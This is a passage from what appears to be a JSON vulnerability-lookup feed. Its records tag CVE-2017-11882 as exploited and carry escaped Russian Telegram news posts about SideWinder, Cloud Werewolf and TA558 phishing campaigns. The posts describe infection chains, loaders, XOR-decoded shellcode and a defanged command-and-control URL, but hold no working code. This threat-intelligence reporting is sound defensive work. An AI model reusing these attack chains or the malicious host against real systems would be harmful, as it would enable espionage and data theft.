\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0435 \u0434\u043b\u044f \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u044f \u0441\u0442\u043e\u0439\u043a\u043e\u0441\u0442\u0438 \u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u0432. \n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u043e\u043d\u0438 \u043c\u0435\u043d\u044f\u044e\u0442 \u0438\u043c\u0435\u043d\u0430 \u0438 \u043f\u0443\u0442\u0438 \u0441\u0432\u043e\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432.\u00a0\n\n\u0420\u0430\u043d\u0435\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 SideWinder \u043c\u043e\u0434\u0443\u043b\u044c\u043d\u043e\u0433\u043e \u043d\u0430\u0431\u043e\u0440\u0430 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u043f\u043e\u0441\u0442\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 StealerBot \u0434\u043b\u044f \u0441\u0431\u043e\u0440\u0430 \u0448\u0438\u0440\u043e\u043a\u043e\u0433\u043e \u0441\u043f\u0435\u043a\u0442\u0440\u0430 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0441\u043e \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0445\u043e\u0441\u0442\u043e\u0432.\n\n\u041f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u0430\u0442\u0430\u043a \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u0441 \u0442\u0435\u043c\u0438, \u0447\u0442\u043e \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u043b\u0438\u0441\u044c \u0440\u0430\u043d\u0435\u0435.\n\n\u041d\u0430\u0447\u0430\u043b\u044c\u043d\u044b\u043c \u0432\u0435\u043a\u0442\u043e\u0440\u043e\u043c \u0432\u044b\u0441\u0442\u0443\u043f\u0430\u043b\u0438 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0435 \u043f\u0438\u0441\u044c\u043c\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u044e\u0442 \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0443 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432, \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Microsoft Office (CVE-2017-11882) \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u0448\u0435\u043b\u043b-\u043a\u043e\u0434\u0430.\n\n\u0414\u0430\u043b\u0435\u0435 \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043c\u043d\u043e\u0433\u043e\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u044b\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e, \u043d\u0430\u0437\u0432\u0430\u043d\u043d\u043e\u0435 Backdoor Loader. \n\n\u041e\u043d \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u0442 \u043a\u0430\u043a \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u0434\u043b\u044f \u043e\u043a\u043e\u043d\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430 StealerBot.\n\nBackdoor Loader \u0438 StealerBot \u0431\u044b\u043b\u0438 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u043d\u044b \u0432 \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e\u0434\u043d\u0435\u043c \u043e\u0442\u0447\u0435\u0442\u0435, \u043d\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0438\u043b \u043c\u043d\u043e\u0433\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0435 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u0430 \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u043c\u0435\u0441\u044f\u0446\u044b, \u0442\u043e\u0433\u0434\u0430 \u043a\u0430\u043a \u0438\u043c\u043f\u043b\u0430\u043d\u0442 \u043e\u0441\u0442\u0430\u043b\u0441\u044f \u043d\u0435\u0438\u0437\u043c\u0435\u043d\u043d\u044b\u043c.\n\n\u041d\u043e\u0432\u044b\u0435 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u0443\u043b\u0443\u0447\u0448\u0435\u043d\u043d\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e \u043a\u043e\u0434\u0430 \u0430\u043d\u0442\u0438\u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0438 \u0431\u043e\u043b\u0435\u0435 \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0441\u0433\u043b\u0430\u0436\u0438\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u0442\u043e\u043a\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f.\n\n\u0412 \u0445\u043e\u0434\u0435 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u041b\u041a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0442\u0430\u043a\u0436\u0435 \u043d\u043e\u0432\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430 Backdoor Loader \u043d\u0430 C++. \n\n\u041b\u043e\u0433\u0438\u043a\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e \u0442\u0430 \u0436\u0435, \u0447\u0442\u043e \u0438 \u0432 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430\u0445 .NET, \u043d\u043e \u0432\u0435\u0440\u0441\u0438\u044f C++ \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442 \u0438\u043c\u043f\u043b\u0430\u043d\u0442\u043e\u0432 .NET \u0442\u0435\u043c, \u0447\u0442\u043e \u0432 \u043d\u0435\u0439 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u043c\u0435\u0442\u043e\u0434\u044b \u0430\u043d\u0442\u0438\u0430\u043d\u0430\u043b\u0438\u0437\u0430.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u043e\u0431\u0440\u0430\u0437\u0446\u043e\u0432 \u0431\u044b\u043b\u0438 \u0430\u0434\u0430\u043f\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u043f\u043e\u0434 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0435 \u0446\u0435\u043b\u0438, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043e\u043d\u0438 \u0431\u044b\u043b\u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d\u044b \u043d\u0430 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0432\u0442\u043e\u0440\u043e\u0433\u043e \u044d\u0442\u0430\u043f\u0430 \u0438\u0437 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0443\u0442\u0438 \u0444\u0430\u0439\u043b\u0430, \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u043e\u0433\u043e \u0432 \u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0442\u0430\u043a\u0436\u0435 \u0432\u043a\u043b\u044e\u0447\u0430\u043b \u0438\u043c\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0442\u0430\u0440\u043e\u0433\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430, \u043d\u0435 \u0441\u0442\u043e\u0438\u0442 \u043d\u0435\u0434\u043e\u043e\u0446\u0435\u043d\u0438\u0432\u0430\u0442\u044c \u044d\u0442\u043e\u0433\u043e \u0441\u0443\u0431\u044a\u0435\u043a\u0442\u0430 \u0443\u0433\u0440\u043e\u0437.\n\n\u0424\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 SideWinder \u0443\u0436\u0435 \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0441\u0432\u043e\u044e \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u044c \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u044b\u0435 \u0430\u043a\u0442\u0438\u0432\u044b \u0438 \u0432\u044b\u0441\u043e\u043a\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0446\u0435\u043b\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0432\u043e\u0435\u043d\u043d\u044b\u0435 \u0438 \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435.", "creation_timestamp": "2025-03-11T16:08:25.000000Z"}, {"uuid": "77aaa16e-f8af-4212-9139-2c5e0aa327d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/true_secator/5551", "content": "\u0411\u0438\u0437\u043e\u043d\u044b \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u043d\u043e\u0432\u044b\u0435 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u043a\u0438\u0431\u0435\u0440\u0448\u043f\u0438\u043e\u043d\u0430\u0436\u0430 Cloud Werewolf, \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0441 2014 \u0433\u043e\u0434\u0430 \u0438 \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043d\u0430 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0435 \u0438 \u0431\u0435\u043b\u043e\u0440\u0443\u0441\u0441\u043a\u0438\u0435 \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438.\n\n\u041a\u0430\u043a \u0441\u043e\u043e\u0431\u0449\u0430\u044e\u0442 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b, \u0441 \u0444\u0435\u0432\u0440\u0430\u043b\u044f \u043f\u043e \u043c\u0430\u0440\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043b\u0438 \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u043f\u044f\u0442\u0438 \u0430\u0442\u0430\u043a, \u043f\u043e\u043b\u0430\u0433\u0430\u044f\u0441\u044c \u043d\u0430 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0435 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u044b\u0435 \u043f\u0438\u0441\u044c\u043c\u0430 \u0441 \u0432\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u043c\u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 Microsoft Office \u043d\u0430 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u043b\u044f \u0446\u0435\u043b\u0435\u0439 \u0442\u0435\u043c\u044b, \u0447\u0442\u043e \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u043e\u0432\u044b\u0448\u0430\u0435\u0442 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u044c \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u044f \u0436\u0435\u0440\u0442\u0432\u043e\u0439 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u044f.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0437\u0430\u0447\u0430\u0441\u0442\u0443\u044e IT\u2011\u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u0433\u043e\u0441\u0443\u0447\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0439 \u0443\u0441\u0442\u0440\u043e\u0435\u043d\u0430 \u0442\u0430\u043a, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u0430\u0436\u0435 \u0441\u0442\u0430\u0440\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\nCloud Werewolf \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 PowerShower \u0438\u00a0VBShower, \u0430\u00a0\u0442\u0430\u043a\u0436\u0435 \u0440\u0430\u0437\u043d\u043e\u043e\u0431\u0440\u0430\u0437\u043d\u044b\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u044b, \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0435 \u043d\u0430\u00a0Python.\n\n\u0417\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u0442\u0441\u044f \u0442\u0430\u043a\u0436\u0435 LaZagne, Advanced IP\u00a0Scanner, AnyDesk (\u0432\u00a0\u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u0430\u043d\u0430\u043b\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a\u00a0\u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 IT\u2011\u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435), RDP \u0438\u00a0SSH (\u0434\u043b\u044f \u043f\u0440\u043e\u0434\u0432\u0438\u0436\u0435\u043d\u0438\u044f), 7\u2011Zip\u00a0(\u0434\u043b\u044f \u044d\u043a\u0441\u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432).\n\n\u041f\u043e \u043e\u043a\u043e\u043d\u0447\u0430\u043d\u0438\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0443\u0434\u0430\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441\u00a0\u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0435\u0439 \u0441\u00a0\u043a\u043e\u043c\u0430\u043d\u0434\u043d\u044b\u043c\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0438\u0437\u00a0\u0436\u0443\u0440\u043d\u0430\u043b\u043e\u0432 \u043f\u0440\u043e\u043a\u0441\u0438-\u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432.\n\n\u041d\u0430 \u044d\u0442\u043e\u0442 \u0440\u0430\u0437 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0444\u0435\u0439\u043a\u043e\u0432\u044b\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b \u0441 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0435\u0439 \u043e \u043f\u0443\u0442\u0435\u0432\u043a\u0430\u0445\u00a0\u043d\u0430 \u0441\u0430\u043d\u0430\u0442\u043e\u0440\u043d\u043e-\u043a\u0443\u0440\u043e\u0440\u0442\u043d\u043e\u0435 \u043b\u0435\u0447\u0435\u043d\u0438\u0435, \u0432\u00a0\u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0434\u043b\u044f \u0432\u0435\u0442\u0435\u0440\u0430\u043d\u043e\u0432 \u0431\u043e\u0435\u0432\u044b\u0445 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u0438\u043a\u0430\u0437\u044b \u0444\u0435\u0434\u0435\u0440\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u043b\u0443\u0436\u0431 \u0438 \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u043a\u0438.\n\n\u0420\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u0438\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0435\u043d\u0442\u0430 \u043d\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u043d\u0430 \u0435\u0433\u043e \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u0440\u0435\u043e\u0434\u043e\u043b\u0435\u0432\u0430\u0442\u044c \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430 \u0437\u0430\u0449\u0438\u0442\u044b.\n\n\u041f\u043e\u0441\u043b\u0435 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u044f \u0432\u043b\u043e\u0436\u0435\u043d\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0441 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0440\u0435\u0441\u0443\u0440\u0441\u0430 (\u043a \u043f\u0440\u0438\u043c\u0435\u0440\u0443, https://triger-working[.]com/en/about-us/unshelling) \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f RTF-\u0444\u0430\u0439\u043b, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2017-11882.\n\n\u0414\u0430\u043b\u0435\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0448\u0435\u043b\u043b-\u043a\u043e\u0434, \u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 XOR \u0441 \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c \u043a\u043b\u044e\u0447\u0430 \u0432 2 \u0431\u0430\u0439\u0442\u0430 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0430.\u00a0\n\n\u0421 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f HTA-\u0444\u0430\u0439\u043b, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0439 \u0441\u043a\u0440\u0438\u043f\u0442, \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0439 \u043d\u0430 Visual Basic. \u0414\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 VBS-\u0444\u0430\u0439\u043b\u043e\u0432 \u0441 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f GET-\u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u0435\u0433\u043e \u0430\u0434\u0440\u0435\u0441.\n\n\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043f\u0435\u0440\u0435\u0447\u0435\u043d\u044c \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u0432 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 - \u0432 \u043e\u0442\u0447\u0435\u0442\u0435.", "creation_timestamp": "2024-03-21T19:00:06.000000Z"}, {"uuid": "d8adec82-c4b8-4f4c-b826-635b0cfac81e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/true_secator/6020", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 F.A.C.C.T. \u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u044e\u0442 \u043d\u043e\u0432\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 \u0422\u0410558 \u043d\u0430 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u044f \u0420\u043e\u0441\u0441\u0438\u0438 \u0438 \u0411\u0435\u043b\u0430\u0440\u0443\u0441\u0438.\n\n\u0421 \u043d\u0430\u0447\u0430\u043b\u0430 2024 \u0433\u043e\u0434\u0430 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u0442\u044b\u0441\u044f\u0447\u0438 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0445 \u0440\u0430\u0441\u0441\u044b\u043b\u043e\u043a \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e \u0432 \u0430\u0434\u0440\u0435\u0441 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u0439, \u0433\u043e\u0441\u0443\u0447\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0439 \u0438 \u0431\u0430\u043d\u043a\u043e\u0432, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u043a\u0440\u0430\u0436\u0443 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439.\n\nAPT \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0435 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0439, \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043e\u0446\u0438\u043d\u0436\u0435\u043d\u0435\u0440\u0438\u0438 \u043d\u0430\u0447\u0438\u043d\u0430\u044f \u0441 2018 \u0433\u043e\u0434\u0430. \n\n\u0421\u0440\u0435\u0434\u0438 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0445 \u0446\u0435\u043b\u0435\u0439 - \u0444\u0438\u043d\u0441\u0435\u043a\u0442\u043e\u0440, \u0433\u043e\u0441\u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0438 \u0442\u0443\u0440\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043a\u043b\u0430\u0441\u0442\u0435\u0440.\n\nTA558 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430 \u0441\u0432\u043e\u0438\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043c\u043d\u043e\u0433\u043e\u044d\u0442\u0430\u043f\u043d\u044b\u0445 \u0430\u0442\u0430\u043a, \u043d\u0430\u0447\u0438\u043d\u0430\u044f \u0441 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0445 \u043f\u0438\u0441\u0435\u043c, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 